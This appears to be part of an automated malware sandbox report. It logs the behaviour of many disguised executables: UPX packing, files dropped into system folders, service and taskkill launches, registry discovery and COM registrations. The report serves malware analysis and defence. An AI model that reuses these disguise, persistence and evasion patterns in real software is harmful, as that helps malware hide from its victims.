N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Geek_se.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\tcrbyc.exe C:\Users\Admin\Desktop\a\svcyr.exe N/A
File opened for modification C:\Windows\tcrbyc.exe C:\Users\Admin\Desktop\a\svcyr.exe N/A
File opened for modification C:\Windows\assembly C:\Users\Admin\Desktop\a\client.exe N/A
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\Wininit C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
File opened for modification C:\Windows\Wininit C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\sc.exe N/A
N/A N/A C:\Windows\SysWOW64\sc.exe N/A

Browser Information Discovery

discovery

Embeds OpenSSL

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\shttpsr_mg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Geek_se.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Gwogw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Music\Windows Security Health Host.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\SKOblik.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\svcyr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Music\Windows Security Health Host.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\SecurityHealthService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\GOLD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Gwogw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\op.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Gwogw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\svcyr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\lum250.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Beefy.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\svchot.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\svchot.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\stories.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\OLDxTEAM.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\tcrbyc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Gwogw.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\tcrbyc.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\tcrbyc.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib\ = "{8C2B40D2-963F-4307-AD3E-44A17D530D67}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.BrowserToDelphi\ = "BrowserToDelphi Object" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\ = "NBRun Library" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\HELPDIR\ = "C:\\Archivos de programa\\UNICO - Ventas\\" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ = "IBrowserToDelphi" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib\ = "{8C2B40D2-963F-4307-AD3E-44A17D530D67}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.NeoBookIEProtocol\ C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\FLAGS\ = "0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ProxyStubClsid32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\ProgID\ = "NBRun.BrowserToDelphi" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib\Version = "1.0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\LocalServer32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\FLAGS C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\TypeLib\ = "{8C2B40D2-963F-4307-AD3E-44A17D530D67}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}\ProgID\ = "NBRun.NeoBookIEProtocol" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib\ = "{8C2B40D2-963F-4307-AD3E-44A17D530D67}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\LocalServer32\ = "C:\\ARCHIV~1\\UNICO-~1\\ODBC_VEN.exe" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.BrowserToDelphi\Clsid\ = "{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\0\win32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\0\win32\ = "C:\\Archivos de programa\\UNICO - Ventas\\ODBC_VEN.exe" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\TypeLib C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.NeoBookIEProtocol C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\Version\ = "1.0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.NeoBookIEProtocol\Clsid C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.NeoBookIEProtocol\Clsid\ = "{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib\Version = "1.0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ = "IBrowserToDelphiEvents" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ProxyStubClsid32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ProxyStubClsid32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib\Version = "1.0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\Version C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\ = "IBrowserToDelphiEvents" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\TypeLib\ = "{8C2B40D2-963F-4307-AD3E-44A17D530D67}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\ProgID C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}\ProgID C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ProxyStubClsid32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1551601C-141C-4499-9C05-557CA1440A05} C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
